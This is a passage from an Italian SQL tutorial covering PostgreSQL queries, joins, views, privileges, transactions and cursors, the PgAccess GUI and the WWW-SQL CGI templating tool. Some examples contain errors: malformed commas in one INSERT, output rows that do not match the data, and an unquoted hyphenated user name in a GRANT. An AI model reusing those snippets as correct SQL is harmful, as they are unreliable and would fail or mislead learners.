        'Via Biglie 1',
        '0222,222222'
    );
```

In questo stesso modo, si può evitare di compilare il contenuto di un attributo particolare, indicando espressamente solo gli attributi che si vogliono fornire; in tal caso gli altri attributi ricevono il valore predefinito o '**NULL**' in mancanza d'altro. Nell'esempio seguente viene indicato solo il codice e il nominativo:

```
INSERT INTO Indirizzi (
        Codice,
        Cognome,
        Nome,
    )
    VALUES (
        01,
        'Pallino'
        'Pinco',
    );
```

86.3.4.4 Eliminazione di una relazione

Una relazione può essere eliminata completamente attraverso l'istruzione '**DROP**'. L'esempio seguente elimina la relazione degli indirizzi degli esempi già mostrati:

```
DROP TABLE Indirizzi;
```

86.3.4.5 Interrogazioni semplici

L'esempio seguente emette tutto il contenuto della relazione degli indirizzi già vista negli esempi precedenti:

```
SELECT * FROM Indirizzi;
```

Seguendo l'esempio fatto in precedenza si dovrebbe ottenere l'elenco riportato sotto, equivalente a tutto il contenuto della relazione.

```
codice  cognome   nome       indirizzo     telefono

     1  Pallino   Pinco      Via Biglie 1  0222,222222
     2  Tizi      Tizio      Via Tazi 5    0555,555555
     3  Cai       Caio       Via Caini 1   0888,888888
     4  Semproni  Sempronio  Via Sempi 7   0999,999999
```

Per ottenere un elenco ordinato in base al cognome e al nome (in caso di ambiguità), lo stesso comando si completa nel modo seguente:

```
SELECT * FROM Indirizzi ORDER BY Cognome, Nome;
```

```
codice  cognome   nome       indirizzo     telefono

     3  Cai       Caio       Via Caini 1   0888,888888
     1  Pallino   Pinco      Via Biglie 1  0222,222222
     4  Semproni  Sempronio  Via Sempi 7   0999,999999
     2  Tizi      Tizio      Via Tazi 5    0555,555555
```

La selezione degli attributi permette di ottenere un risultato che contenga solo quelli desiderati, permettendo anche di cambiarne l'intestazione. L'esempio seguente permette di mostrare solo i nominativi e il telefono, cambiando un po' le intestazioni:

```
SELECT Cognome as cognomi, Nome as nomi, Telefono as numeri_telefonici
    FROM Indirizzi;
```

Quello che si ottiene è simile all'elenco seguente:

```
cognomi   nomi       numeri_telefonici

Pallino   Pinco      0222,222222
Tizi      Tizio      0555,555555
Cai       Caio       0888,888888
Semproni  Sempronio  0999,999999
```

La selezione delle tuple può essere fatta attraverso la condizione che segue la parola chiave '**`WHERE`**'. Nell'esempio seguente vengono selezionate le tuple in cui l'iniziale dei cognomi è compresa tra '**`N`**' e '**`T`**'.

```
SELECT * FROM Indirizzi WHERE Cognome >= 'N' AND Cognome <= 'T';
```

Dall'elenco che si ottiene, si osserva che '**`Caio`**' è stato escluso:

```
codice  cognome   nome       indirizzo     telefono

     1  Pallino   Pinco      Via Biglie 1  0222,222222
     2  Tizi      Tizio      Via Tazi 5    0555,555555
     4  Semproni  Sempronio  Via Sempi 7   0999,999999
```

Per evitare ambiguità possono essere indicati i nomi degli attributi prefissati dal nome della relazione a cui appartengono, separando le due parti con l'operatore punto ('**`.`**'). Nell'esempio seguente si selezionano solo il cognome, il nome e il numero telefonico, specificando il nome della relazione a cui appartengono gli attributi:

```
SELECT Indirizzi.Cognome, Indirizzi.Nome, Indirizzi.Telefono
    FROM Indirizzi;
```

Ecco il risultato:

```
cognome   nome       telefono

Pallino   Pinco      0222,222222
Tizi      Tizio      0555,555555
Cai       Caio       0888,888888
Semproni  Sempronio  0999,999999
```

86.3.4.6 Interrogazioni simultanee di più relazioni

Se dopo la parola chiave '**`FROM`**' si indicano più relazioni (ciò vale anche se si indica più volte la stessa relazione), si intende fare riferimento a una relazione generata dal «prodotto» di queste. Si immagini di abbinare alla relazione '**`Indirizzi`**' la relazione '**`Presenze`**' contenente i dati visibili nella figura 86.76.

Figura 86.76. La relazione '**`Presenze (Codice, Giorno, Ingresso, Uscita)`**'.

Presenze			
Codice	**Giorno**	**Ingresso**	**Uscita**
1	01/01/2010	07:30	13:30
2	01/01/2010	07:35	13:37
3	01/01/2010	07:45	14:00
4	01/01/2010	08:30	16:30
1	01/02/2010	07:35	13:38
2	01/02/2010	08:35	14:37
4	01/02/2010	07:30	13:30

Come si può intendere, il primo attributo, '**`Codice`**', serve a identificare la persona per la quale è stata fatta l'annotazione dell'ingresso e dell'uscita. Tale codice viene interpretato in base al contenuto della relazione '**`Indirizzi`**'. Si immagini di volere ottenere un elenco contenente tutti gli ingressi e le uscite, indicando chiaramente il cognome e il nome della persona a cui si riferiscono.

```
SELECT
    Presenze.Giorno,
    Presenze.Ingresso,
    Presenze.Uscita,
    Indirizzi.Cognome,
    Indirizzi.Nome
    FROM Presenze, Indirizzi
    WHERE Presenze.Codice = Indirizzi.Codice;
```

Ecco quello che si dovrebbe ottenere:

```
giorno      ingresso  uscita    cognome   nome

01-01-2010  07:30:00  13:30:00  Pallino   Pinco
01-01-2010  07:35:00  13:37:00  Tizi      Tizio
01-01-2010  07:45:00  14:00:00  Cai       Caio
01-01-2010  08:30:00  16:30:00  Semproni  Sempronio
01-02-2010  07:35:00  13:38:00  Pallino   Pinco
01-02-2010  08:35:00  14:37:00  Tizio     Tizi
01-02-2010  07:40:00  13:30:00  Semproni  Sempronio
```

86.3.4.7 Alias

Una stessa relazione può essere presa in considerazione come se si trattasse di due o più relazioni differenti. Per distinguere tra questi punti di vista diversi, si devono usare degli alias, che sono in pratica dei nomi alternativi. Gli alias si possono usare anche solo per questioni di leggibilità. L'esempio seguente è la semplice ripetizione di quello mostrato nella sezione precedente, con l'aggiunta però della definizione degli alias '**`Pre`**' e '**`Nom`**'.

```
SELECT
    Pre.Giorno,
    Pre.Ingresso,
    Pre.Uscita,
    Nom.Cognome,
    Nom.Nome
    FROM Presenze AS Pre, Indirizzi AS Nom
    WHERE Pre.Codice = Nom.Codice;
```

86.3.4.8 Viste

Attraverso una vista, è possibile definire una relazione virtuale:

```
CREATE VIEW Presenze_dettagliate AS
SELECT
    Presenze.Giorno,
    Presenze.Ingresso,
    Presenze.Uscita,
    Indirizzi.Cognome,
    Indirizzi.Nome
    FROM Presenze, Indirizzi
    WHERE Presenze.Codice = Indirizzi.Codice;
```

L'esempio mostra la creazione della vista '**`Presenze_dettagliate`**', ottenuta dalle relazioni '**`Presenze`**' e '**`Indirizzi`**'. In pratica, questa vista permette di interrogare direttamente la relazione virtuale '**`Presenze_dettagliate`**', invece di utilizzare ogni volta un comando '**`SELECT`**' molto complesso, per ottenere lo stesso risultato.

86.3.4.9 Aggiornamento delle tuple

La modifica di tuple già esistenti avviene attraverso l'istruzione '**`UPDATE`**', la cui efficacia viene controllata dalla condizione posta dopo la parola chiave '**`WHERE`**'. Se tale condizione manca, l'effetto delle modifiche si riflette su tutte le tuple della relazione.

L'esempio seguente, aggiunge un attributo alla relazione degli indirizzi, per contenere il nome del comune di residenza degli impiegati; successivamente viene inserito il nome del comune '**`Sferopoli`**' in base al prefisso telefonico.

```
ALTER TABLE Indirizzi ADD COLUMN Comune char(30);
```

```
UPDATE Indirizzi
    SET Comune='Sferopoli'
    WHERE Telefono >= '022' AND Telefono < '023';
```

In pratica, viene aggiornata solo la tupla dell'impiegato '**`Pinco Pallino`**'.

86.3.4.10 Cancellazione delle tuple

L'esempio seguente elimina dalla relazione delle presenze le tuple riferite alle registrazioni del giorno 01/01/2010 e le eventuali antecedenti.

```
DELETE FROM Presenze WHERE Giorno <= '01/01/2010';
```

86.3.4.11 Creazione di una nuova relazione a partire da altre

L'esempio seguente crea la relazione '**`mia_prova`**' dalla fusione della relazioni degli indirizzi e delle presenze, come già mostrato in un esempio precedente:

```
SELECT
    Presenze.Giorno,
    Presenze.Ingresso,
    Presenze.Uscita,
    Indirizzi.Cognome,
    Indirizzi.Nome
    INTO TABLE mia_prova
    FROM Presenze, Indirizzi
    WHERE Presenze.Codice = Indirizzi.Codice;
```

86.3.4.12 Inserimento in una relazione esistente

L'esempio seguente aggiunge alla relazione dello storico delle presenze le registrazioni vecchie che poi vengono cancellate.

```
INSERT INTO PresenzeStorico (
        PresenzeStorico.Codice,
        PresenzeStorico.Giorno,
        PresenzeStorico.Ingresso,
        PresenzeStorico.Uscita
    )
    SELECT
        Presenze.Codice,
        Presenze.Giorno,
        Presenze.Ingresso,
        Presenze.Uscita
        FROM Presenze
        WHERE Presenze.Giorno <= '2010/01/01';

DELETE FROM Presenze WHERE Giorno <= '2010/01/01';
```

86.3.4.13 Controllare gli accessi a una relazione

Quando si creano delle relazioni in una base di dati, tutti gli altri utenti che sono stati registrati nel sistema del DBMS, potrebbero accedervi e fare le modifiche che vogliono. Per controllare questi accessi, l'utente proprietario delle relazioni (di solito è colui che le ha create), può usare le istruzioni '**`GRANT`**' e '**`REVOKE`**'. La prima permette a un gruppo di utenti di eseguire operazioni determinate, la seconda toglie dei privilegi.

```
GRANT {ALL | SELECT | INSERT | UPDATE | DELETE | RULE}[,...]
    ON relazione[,...]
    TO {PUBLIC | GROUP gruppo | utente}
```

```
REVOKE {ALL | SELECT | INSERT | UPDATE | DELETE | RULE}[,...]
    ON relazione[,...]
    FROM {PUBLIC | GROUP gruppo | utente}
```

La sintassi delle due istruzioni è simile, basta fare attenzione a cambiare la parola chiave '**`TO`**' con '**`FROM`**'. I gruppi e gli utenti sono nomi che fanno riferimento a quanto registrato all'interno del DBMS.

L'esempio seguente toglie a tutti gli utenti ('**`PUBLIC`**') tutti i privilegi sulle relazioni delle presenze e degli indirizzi; successivamente vengono ripristinati tutti i privilegi solo per l'utente '**`tizio`**':

```
REVOKE ALL
    ON Presenze, Indirizzi
    FROM PUBLIC;

GRANT ALL
    ON Presenze, Indirizzi
    TO tizio;
```

86.3.5 Controllo delle transazioni

La gestione delle transazioni richiede che queste siano introdotte dall'istruzione '**START TRANSACTION**':

```
START TRANSACTION
```

L'esempio seguente mostra il caso in cui si voglia isolare l'inserimento di una tupla nella relazione '**Indirizzi**' all'interno di una transazione, che alla fine viene confermata regolarmente con l'istruzione '**COMMIT**':

```
START TRANSACTION;

INSERT INTO Indirizzi
    VALUES (
        05,
        'De Pippo',
        'Pippo',
        'Via Pappo, 5',
        '0333,3333333'
    );

COMMIT;
```

Nell'esempio seguente, si rinuncia all'inserimento della tupla con l'istruzione '**ROLLBACK**' finale:

```
START TRANSACTION;

INSERT INTO Indirizzi
    VALUES (
        05,
        'De Pippo',
        'Pippo',
        'Via Pappo, 5',
        '0333,3333333'
    );

ROLLBACK;
```

86.3.6 Cursori

La gestione dei cursori da parte di PostgreSQL è abbastanza compatibile con lo standard, a parte il fatto che avviene fuori dal contesto previsto, che viene consentito un accesso in sola lettura e che non è possibile assegnare i dati a delle variabili.

La gestione dei cursori riguarda generalmente gli accessi a un DBMS tramite codice SQL incorporato in un programma (che usa un altro linguaggio), mentre PostgreSQL estende il loro utilizzo anche se il «programma» in questione è costituito esclusivamente da codice SQL.

La dichiarazione di un cursore si ottiene nel modo solito, con la differenza che questa deve avvenire esplicitamente in una transazione. In particolare, con PostgreSQL, il cursore viene aperto automaticamente nel momento della dichiarazione, per cui l'istruzione '**`OPEN`**' non è disponibile.

```
START TRANSACTION;

DECLARE Mio_cursore INSENSITIVE CURSOR FOR
    SELECT * FROM Indirizzi ORDER BY Cognome, Nome;

-- L'apertura del cursore non esiste in PostgreSQL
-- OPEN Mio_cursore;
…
```

L'esempio mostra la dichiarazione dell'inizio di una transazione, assieme alla dichiarazione del cursore '**`Mio_cursore`**', per selezionare tutta la relazione '**`Indirizzi`**' in modo ordinato per '**`Cognome`**'. Si osservi che per PostgreSQL la selezione che si ingloba nella gestione di un cursore non può aggiornarsi automaticamente se i dati originali cambiano, per cui è come se fosse sempre definita la parola chiave '**`INSENSITIVE`**'.

```
…
FETCH NEXT FROM Mio_cursore;
…
COMMIT;
```

L'esempio mostra l'uso tipico dell'istruzione '**`FETCH`**', in cui si preleva la tupla successiva rispetto alla posizione corrente del cursore e più avanti si conclude la transazione con un '**`COMMIT`**'. L'esempio seguente è identico, con la differenza che si indica espressamente il passo.

```
…
FETCH RELATIVE 1 FROM Mio_cursore;
…
COMMIT;
```

Un cursore dovrebbe essere chiuso attraverso una richiesta esplicita, con l'istruzione '**`CLOSE`**', ma la chiusura della transazione chiude implicitamente il cursore, se questo dovesse essere rimasto aperto. L'esempio seguente riepiloga quanto visto sopra, completato dell'istruzione '**`CLOSE`**'.

```
START TRANSACTION;

DECLARE Mio_cursore INSENSITIVE CURSOR FOR
    SELECT * FROM Indirizzi ORDER BY Cognome, Nome;

-- L'apertura del cursore non esiste in PostgreSQL
-- OPEN Mio_cursore;

FETCH NEXT FROM Mio_cursore;

CLOSE Mio_cursore;

COMMIT;
```

86.3.7 Impostazione dell'ora locale

Il linguaggio SQL dispone dell'istruzione '**SET TIME ZONE**' per definire l'ora locale e di conseguenza lo scostamento dal tempo universale. PostgreSQL dispone della stessa istruzione che funziona in modo molto simile allo standard; per la precisione, la definizione dell'ora locale avviene attraverso le definizioni riconosciute dal sistema operativo (nel caso di GNU/Linux si tratta delle definizioni che si articolano a partire dalla directory '`/usr/share/zoneinfo/`').

```
SET TIME ZONE { 'definizione_ora_locale' | LOCAL }
```

Per esempio, per definire che si vuole fare riferimento all'ora locale italiana, si potrebbe usare il comando seguente:

```
SET TIME ZONE 'Europe/Rome';
```

Questa impostazione riguarda la visione del programma cliente, mentre il programma servente può essere stato preconfigurato attraverso le variabili di ambiente '**LC_***' oppure la variabile '**LANG**', che in questo caso hanno effetto sullo stile di rappresentazione delle informazioni data-orario. Anche il programma cliente può essere preconfigurato attraverso la variabile di ambiente '**PGTZ**', assegnandole gli stessi valori che si possono utilizzare per l'istruzione '**SET TIME ZONE**'.

86.4 Accesso attraverso PgAccess

PgAccess [2] (ovvero PostgreSQL Access) è un componente di una libreria Tcl/Tk: LibPgTcl. A volte viene distribuito come un pacchetto autonomo, che comunque dipende dalla libreria indicata, oppure viene incluso nello stesso pacchetto della libreria. PgAccess è un programma frontale (che utilizza l'interfaccia grafica) per accedere alle funzionalità di PostgreSQL.

Prima di poter utilizzare qualunque programma frontale per PostgreSQL, occorre ricordare di configurare correttamente PostgreSQL stesso, in modo che questo consenta gli accessi previsti.

PgAccess è costituito in pratica dall'eseguibile '**`pgaccess`**', che si utilizza senza argomenti e si presenta inizialmente come si vede nella figura 86.94.

Figura 86.94. Finestra iniziale di PgAccess, quando viene avviato per la prima volta dall'utente.

Mentre lo si usa, PgAccess memorizza alcune informazioni nella directory '`~/.pgaccess/`' e questo fatto facilita successivamente le operazioni di accesso alla base di dati da parte dell'utente.

> Purtroppo, l'uso di programmi come questo, che mediano la comunicazione con un DBMS attraverso delle finestre grafiche, può risultare più complicato della scrittura manuale del codice SQL necessario. In questo capitolo, le figure appartengono a versioni diverse del programma, perché alcune funzionalità essenziali della versione aggiornata, si sono rivelate inaffidabili.

86.4.1 Accesso alla base di dati

PostgreSQL è un DBMS in grado di gestire diverse basi di dati simultaneamente; pertanto, con PgAccess è necessario stabilire per prima cosa quale sia la base di dati. Dal menù *`Database`*, si seleziona la funzione *`Open`*, ottenendo la mascherina che si vede nella figura 86.95. Da lì si possono indicare tutte le informazioni necessarie alla connessione con la base di dati desiderata; in particolare, per quanto riguarda le informazioni sull'autenticazione, queste sono richieste solo in base al modo in cui sono stati regolati i permessi di accesso da parte di PostgreSQL.

Figura 86.95. Connessione alla base di dati '**`nanodb`**', presso il nodo 172.17.1.254, come utente '**`pgnanouser`**'.

Attraverso PgAccess non è possibile creare una base di dati. Per questo occorre usare le funzioni di PostgreSQL, descritto nella sezione 86.2.

La base di dati aperta, assieme all'indicazione del nodo presso il quale si trova il DBMS con cui si interagisce, appare in basso, nella finestra principale di PgAccess.

Figura 86.96. Quando è attiva una connessione con una base di dati, lo si vede dalle informazioni che appaiono in basso nella finestra principale di PgAccess.

È importante ricordare che PgAccess tiene nota dell'ultima base di dati aperta attraverso i file di configurazione contenuti in '`~/.pgaccess/`'; in questo modo la connessione viene ritentata automaticamente all'avvio del programma la volta successiva che lo si utilizza.

86.4.2 Gli «oggetti» secondo PgAccess

Dal punto di vista di PgAccess, una base di dati contiene degli «oggetti» (secondo la stessa filosofia di PostgreSQL). Questi possono essere delle relazioni, il risultato di interrogazioni SQL, delle viste, delle stampe o altro ancora.

Per intervenire su ognuno di questi oggetti basta selezionare la voce relativa che si trova sulla parte sinistra (nella figura 86.97 si vede selezionata la gestione delle «tabelle», ovvero delle relazioni).

Figura 86.97. L'aspetto di PgAccess quando viene evidenziata a sinistra la voce `Tables`.

Database Object Server Help

172.17.1.254
nanodb
Tables
Queries
Views
Sequences
Functions
Reports
Graphs
Forms
Scripts
Images
Usergroups
Diagrams

Schema	Name	Owner	OID	Tuples	Attributes
information_schema	sql_features	postgres	17070	360	7
information_schema	sql_implementation_info	postgres	17075	12	5
information_schema	sql_languages	postgres	17080	2	7
information_schema	sql_packages	postgres	17085	10	5
information_schema	sql_sizing	postgres	17090	23	4
information_schema	sql_sizing_profiles	postgres	17095	0	5

172.17.1.254 nanodb PG:

Premendo il tasto destro del mouse quando il puntatore si trova nel riquadro centrale, si ottiene un menù a scomparsa, con il quale è possibile modificare gli oggetti a cui fa riferimento la voce selezionata a sinistra; in alternativa, le stesse voci sono disponibili dal menù `Object`. In particolare, la voce `New` serve a creare un oggetto nuovo, `Open` serve ad accedervi e `Design` serve a modificarne la struttura (ammesso che ciò sia consentito in base al tipo di oggetto). Eventualmente è possibile anche modificare il nome dell'oggetto e visualizzarne la struttura.

PgAccess gestisce una serie aggiuntiva di oggetti rispetto a quanto fa PostgreSQL. Per realizzarli, PgAccess gestisce delle relazioni proprie, che non vengono mostrate all'utente, distinguibili per il fatto di avere un nome che inizia per '**pga_**'. In generale, queste relazioni hanno tutti i permessi di accesso per tutti gli utenti di PostgreSQL.

86.4.3 Relazioni

La figura 86.98 mostra l'esempio della creazione di una relazione molto semplice, per contenere una serie di indirizzi. Alla creazione della relazione, dopo avere selezionato la voce relativa a questo tipo di oggetto, si accede selezionando la voce `New` del menù `Object`.

Figura 86.98. Finestra per la creazione di una relazione.

Una volta creata la relazione (si ottiene questo confermando con il pulsante grafico CREATE TABLE), il suo nome appare nella parte centrale della finestra principale del programma; per accedere al suo contenuto basta selezionare la voce *Open* dal menù Object, ottenendo così una tabella di scorrimento con la quale si possono aggiungere e modificare righe preesistenti. La figura 86.99 mostra l'inserimento di alcuni nomi. Si osservi in particolare il fatto che, eventualmente, si può richiedere espressamente l'aggiunta di una riga nuova premendo il terzo tasto del mouse.

Figura 86.99. Finestra per lo scorrimento del contenuto di una relazione.

Vale la pena di osservare che la maschera di scorrimento e inserimento dati nella relazione, permette di leggere le tuple in ordine, in base a un certo attributo, filtrando eventualmente le tuple in base a una condizione. Si stabilisce questo mettendo il nome di un attributo nella casella '**`Sort field`**' e mettendo l'espressione della condizione di filtro nella casella '**`Filter conditions`**': se poi si seleziona il pulsante grafico RELOAD (che comunque appare

come un'icona), si riottiene il contenuto ordinato e filtrato in base alle preferenze indicate.

86.4.4 Interrogazioni e viste

È possibile realizzare facilmente dei modelli di interrogazione e delle viste, attraverso la selezione delle voci `Queries` e `Views` (nella parte sinistra della finestra, sotto alla voce `Tables`). Nel primo caso si tratta di interrogazioni SQL che vengono memorizzate da PgAccess e richiamate a piacere, mentre nel secondo si tratta di viste vere e proprie. A livello operativo, con PgAccess le due cose sono praticamente identiche, per cui si passa generalmente per la creazione di un'interrogazione SQL che poi, eventualmente, si salva come vista. La figura 86.100 mostra la definizione dell'interrogazione '**`Nominativi`**', abbinata al comando '**`SELECT Cognome, Nome FROM "Indirizzi"`**', scritto manualmente dall'utilizzatore.

Figura 86.100. Finestra per la creazione di un'interrogazione.

Nella figura si può osservare che è disponibile una casella di selezione attraverso la quale si può richiedere di salvare come vista. In particolare, con il pulsante grafico SAVE QUERY DEFINITION si salva il modello dell'interrogazione, con il nome fissato in alto; ma volendo, con il pulsante grafico VISUAL DESIGNER, si accede a una maschera per la definizione grafica dell'interrogazione, come si vede nella figura 86.101.

Figura 86.101. Finestra per la creazione visuale di un'interrogazione.

In alto appare una casella in cui si deve indicare il nome di una relazione da cui si vogliono prelevare i campi; una volta fatto, appare un riepilogo di questi campi, in un riquadro. Questi nomi possono essere trascinati con il puntatore del mouse, in basso, dove vengono elencati i campi da includere nell'interrogazione; se si sbaglia, gli elementi che si vogliono togliere possono essere cancellati premendo il tasto [*Canc*] ([*Del*] nelle tastiere inglesi). Nella figura mostrata, sono già stati trascinati e depositati i campi del nome e del cognome.

Al termine, se si è soddisfatti del risultato, si può confermare con il pulsante grafico SAVE TO QUERY BUILDER, ritrovando poi nella finestra precedente l'interrogazione corrispondente alle scelte fatte, che può essere ritoccata a mano se lo si desidera. Nel caso dell'esempio mostrato, l'interrogazione SQL che si ottiene è:

```
select t0.nome, t0.cognome from "Indirizzi" t0
```

L'apertura di un'interrogazione o di una vista, genera lo scorrimento del risultato dell'interrogazione, oppure della vista, come si vede nella figura 86.103 che fa sempre riferimento agli esempi precedenti.

Figura 86.103. Scorrimento di una vista.

86.4.5 Stampe

Con PgAccess è possibile definire anche delle stampe, nel senso di rapporti stampati contenenti il risultato di un'interrogazione SQL. La figura 86.104 mostra la finestra che si utilizza per questo scopo, dove è già iniziata la compilazione dello schema di stampa.

Figura 86.104. Creazione di un tabulato.

Una volta selezionata la relazione da cui prelevare i campi, dopo aver indicato il nome del tabulato che si vuole generare, basta fare un clic con il tasto sinistro del mouse mentre si punta sul nome del campo che si vuole inserire sullo schema di destra (che rappresenta il modello della stampa). Una volta che sono apparsi i nomi nello spazio a destra, questi possono essere trascinati dove si vuole, eventualmente possono anche essere cancellati usando il tasto [*Canc*]. Nell'esempio della figura, si vede anche che è stato inserito un titolo.

Spostando il puntatore del mouse sullo spazio che rappresenta lo schema di stampa, si vede cambiare la sua descrizione in alto. Nella figura mostrata viene indicato '**`Page footer`**', perché in quel momento il puntatore del mouse era nella penultima riga di quello schema.

Per verificare il risultato, è disponibile anche un'anteprima, che si ottiene selezionando il pulsante grafico PREVIEW. Seguendo gli esempi precedenti, la figura 86.105 mostra questa anteprima. Da lì si può passare alla stampa, che però potrebbe limitarsi a generare un file PostScript.

Figura 86.105. Anteprima di stampa.

Elenco dei nominativi

cognome	nome	città	via	n
Tizi	Tizio	Tiziopoli	Torta	1
Cai	Caio			
Semproni	Sempronio			

86.5 Accesso attraverso WWW-SQL

WWW-SQL [3] è un programma CGI in grado di creare pagine HTML a partire dalle informazioni ottenute da una base di dati PostgreSQL o MySQL. In questo capitolo si vuole vedere in particolare l'interazione rispetto alle basi di dati di PostgreSQL. In ogni caso, per poter leggere questo capitolo, occorre sapere cosa sia un programma CGI e come interagisce con un servente HTTP, come spiegato nel capitolo 46.

È molto probabile che la propria distribuzione GNU abbia organizzato due pacchetti distinti, in base all'uso che se ne intende fare, per l'abbinamento con PostgreSQL, oppure con MySQL. In questo modo, il nome del programma CGI a cui si deve fare riferimento può cambiare leggermente, anche da una distribuzione all'altra. Qui si fa riferimento al nome '**`www-pgsql`**' per quello che riguarda l'uso con PostgreSQL.

86.5.1 Principio di funzionamento

Ammesso che il pacchetto organizzato dalla propria distribuzione sia stato realizzato nel modo corretto, l'eseguibile '**`www-pgsql`**' dovrebbe trovarsi nella directory più adatta per i programmi CGI, ovvero quella a cui si accede normalmente con l'URI *`http://localhost/cgi-bin/`*. In tal caso, per accedere a questo programma, basta avviare il proprio navigatore preferito e puntare sull'indirizzo *`http://localhost/cgi-bin/www-pgsql`*. Ma non basta, dal momento che il programma in questione ha bisogno di interpretare un file HTML speciale dal quale restituisce poi un risultato. Per capire come funziona la cosa, prima ancora di avere affrontato lo studio del linguaggio specifico di WWW-SQL, si può provare con un file HTML normale: si supponga di avere a disposizione il file '`http://localhost/index.html`'; per fare in modo che WWW-SQL lo analizzi, basta indicare l'URI *`http://localhost/cgi-bin/www-pgsql/index.html`*. Il risultato è identico all'originale, ma per arrivare a questo si passa attraverso l'elaborazione del programma CGI, dimostrando così il suo funzionamento.

Volendo, se il proprio programma servente HTTP è Apache, è possibile rendere la cosa più elegante attraverso una configurazione opportuna del file '`srm.conf`'. Per esempio si potrebbe fare in modo che i file che terminano con l'estensione '`.pgsql`' vengano elaborati automaticamente attraverso il programma CGI in questione:

```
Action www-pgsql /cgi-bin/www-pgsql
AddHandler www-pgsql pgsql
```

Tuttavia, occorre considerare che alcune installazioni di Apache sono state predisposte in modo da impedire l'utilizzazione dell'istruzione '**Action**'. Se dopo le modifiche di questo file, il servizio di Apache non si riavvia, ciò potrebbe essere un sintomo di questo problema.

86.5.2 Preparazione delle basi di dati e accesso

Perché il programma CGI possa accedere alle basi di dati di PostgreSQL, occorre ricordare di predisporre gli utenti e i permessi necessari all'interno della gestione delle basi di dati stesse. Potrebbe essere conveniente prevedere la possibilità di accesso per l'utente di sistema usato dal processo elaborativo del servente HTTP, quando esegue i programmi CGI, in modo da semplificare l'istruzione necessaria alla connessione. Supponendo che si tratti dell'utente '**www-cgi**', volendo procedere in questo modo, occorre aggiungere tale utente, con lo stesso nome, nel sistema di PostgreSQL:

postgres$ **createuser www-cgi** [*Invio*]

Quindi occorre intervenire nelle basi di dati regolando i permessi attraverso i comandi '**GRANT**' e '**REVOKE**', tenendo conto che a questo proposito si può consultare quanto già spiegato nella sezione 86.1. Per fare un esempio, volendo concedere l'accesso in lettura alla relazione '**Indirizzi**', della base di dati '**anagrafe**', all'utente '**www-cgi**', si potrebbe agire come si vede di seguito:

postgres$ **psql anagrafe** [*Invio*]

anagrafe=> **GRANT SELECT ON Indirizzi TO www-cgi;** [*Invio*]

86.5.3 Linguaggio di WWW-SQL

WWW-SQL interpreta un file HTML alla ricerca di istruzioni secondo il formato schematizzato di seguito:

<! SQL ***comando*** [***argomento***...] >

Come si vede, queste istruzioni assomigliano a dei commenti per l'HTML, ma anche se non lo sono realmente, di solito i navigatori ignorano dei marcatori di questo tipo. Tuttavia, questa si può considerare solo come una misura di sicurezza, dal momento che questi file non dovrebbero essere raggiunti direttamente, ma solo attraverso l'intermediazione di WWW-SQL.

Le istruzioni di WWW-SQL rappresentano un linguaggio di programmazione, semplice, ma efficace per lo scopo che ci si prefigge. Si osservi che il «comando» è una parola chiave che rappresenta il tipo di azione che si intende svolgere; inoltre, gli argomenti possono essere presenti o meno, in funzione del comando. Gli argomenti di un comando possono essere racchiusi tra apici doppi ('"..."'): all'interno di queste stringhe si possono indicare delle variabili da espandere e si possono usare anche delle sequenze di escape per rappresentare simboli speciali che altrimenti avrebbero un altro significato.

Le parole chiave che costituiscono le istruzioni di WWW-SQL possono essere scritte indipendentemente utilizzando lettere maiuscole o minuscole. Inoltre, lo spazio dopo il delimitatore iniziale '`<!`' e lo spazio prima del delimitatore finale '`>`' sono facoltativi.

Per iniziare subito con un esempio che faccia capire la logica di funzionamento di WWW-SQL, si osservi il «programma» seguente, rappresentato dal file '`variabili.pgsql`':

```
<HTML>
<HEAD>
    <TITLE>Esempio sul funzionamento delle variabili con WWW-SQL</TITLE>
</HEAD>
<BODY>
<H1>Esempio sul funzionamento delle variabili con WWW-SQL</H1>

<P><! SQL PRINT "var = $var" ></P>

<FORM ACTION="variabili.pgsql" METHOD="GET">
    <P><INPUT NAME="var">
    <INPUT TYPE="submit">
</FORM>

</BODY>
```

L'unica istruzione per WWW-SQL è '**`<!SQL PRINT`**...**`>`**', con la quale si vuole ottenere la visualizzazione di una stringa tra apici doppi. Si osservi che '**`$var`**' è il riferimento alla variabile '**`var`**', che viene espanso, come parte della valutazione della stringa.

Come si può intuire leggendo l'esempio, i campi definiti attraverso i modelli (gli elementi '**`FORM`**'), si traducono in variabili per WWW-SQL.

Per verificare il funzionamento di questo programma, supponendo di avere collocato il file '`variabili.pgsql`' nella directory iniziale dei documenti HTML offerti dal servente HTTP, basta puntare il navigatore sull'indirizzo *`http://localhost/cgi-bin/www-pgsql/variabili.pgsql`* (sempre ammettendo che l'indirizzo *`http://localhost/cgi-bin/www-pgsql`* corrisponda all'avvio del programma CGI che costituisce in pratica WWW-SQL).

Quello che si ottiene dovrebbe essere un modulo HTML molto semplice, dove si può inserire un testo. Inviando il modulo compilato, dovrebbe essere restituito lo stesso modulo, con la stringa iniziale aggiornata, dove viene mostrato che è stato recepito il dato inserito (nella figura 86.108 si vede che è stata inviata la stringa «Saluti».

Figura 86.108. Risultato dell'interpretazione del file `variabili.pgsql` attraverso WWW-SQL.

Bookmarks Location: http://localhost/cgi-bin/www-pgsql/variabili.pgsql?var=Saluti

Back Forward Reload Home Search Netscape Print Security Stop

Esempio sul funzionamento delle variabili con WWW-SQL

var = Saluti

Submit Query

I sorgenti di WWW-SQL possono essere compilati in modo differente. In particolare, si può distinguere tra due tipi di scansione: il tipo vecchio non permette l'uso di istruzioni che prevedono un'iterazione. In pratica, in quel caso, non funzionano i cicli iterativi e gli altri comandi correlati.

86.5.3.1 Espressioni

Si distinguono due tipi di espressioni che si possono valutare all'interno delle istruzioni di WWW-SQL: quelle che si applicano ai valori numerici e quelle che si applicano alle stringhe. Le tabelle 86.109 e 86.110 elencano gli operatori che possono essere utilizzati a questo proposito. Si osservi in particolare l'operatore '`:`', che permette di fare un confronto tra una stringa e un'espressione regolare.

Tabella 86.109. Elenco degli operatori utilizzabili con operandi numerici.

Operatore e operandi	Descrizione
`+`***op***	Non ha alcun effetto.
`-`***op***	Inverte il segno dell'operando.
op1 `+` ***op2***	Somma i due operandi.
op1 `-` ***op2***	Sottrae dal primo il secondo operando.
op1 `*` ***op2***	Moltiplica i due operandi.
op1 `/` ***op2***	Divide il primo operando per il secondo.
op1 `%` ***op2***	Modulo: il resto della divisione tra il primo e il secondo operando.
op1 `^` ***op2***	Eleva il primo operando alla potenza del secondo.
op1 `==` ***op2***	*Vero* se gli operandi sono uguali.
op1 `=` ***op2***	*Vero* se gli operandi sono uguali (sinonimo di '`==`').

Operatore e operandi	Descrizione
op1 `!=` ***op2***	*Vero* se gli operandi sono differenti.
